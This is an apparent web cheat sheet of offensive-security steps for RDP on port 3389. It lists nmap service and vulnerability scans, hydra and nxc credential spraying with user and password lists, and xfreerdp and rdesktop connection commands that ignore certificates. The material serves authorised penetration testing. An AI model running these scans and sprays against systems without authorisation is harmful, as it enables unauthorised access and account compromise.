Back to Port Tracker
🖱️
RDP
Port 3389Windows
Remote Desktop — check NLA, spray creds, and connect. Watch for BlueKeep.
// methodology checklist
Step-by-step commands
1
Service scan
howlsec@kali·shell
nmap -p3389 -sV -sC $thowlsec@kali·shell
nmap -p3389 --script rdp-ntlm-info,rdp-vuln-ms12-020 $t2
Credential spray
howlsec@kali·shell
hydra -L users.txt -P pass.txt rdp://$thowlsec@kali·shell
nxc rdp $t -u users.txt -p passwords.txt3
Connect
howlsec@kali·shell
xfreerdp /v:$t /u:<user> /p:<pass> /cert:ignore +clipboardhowlsec@kali·shell
rdesktop -u <user> -p <pass> $t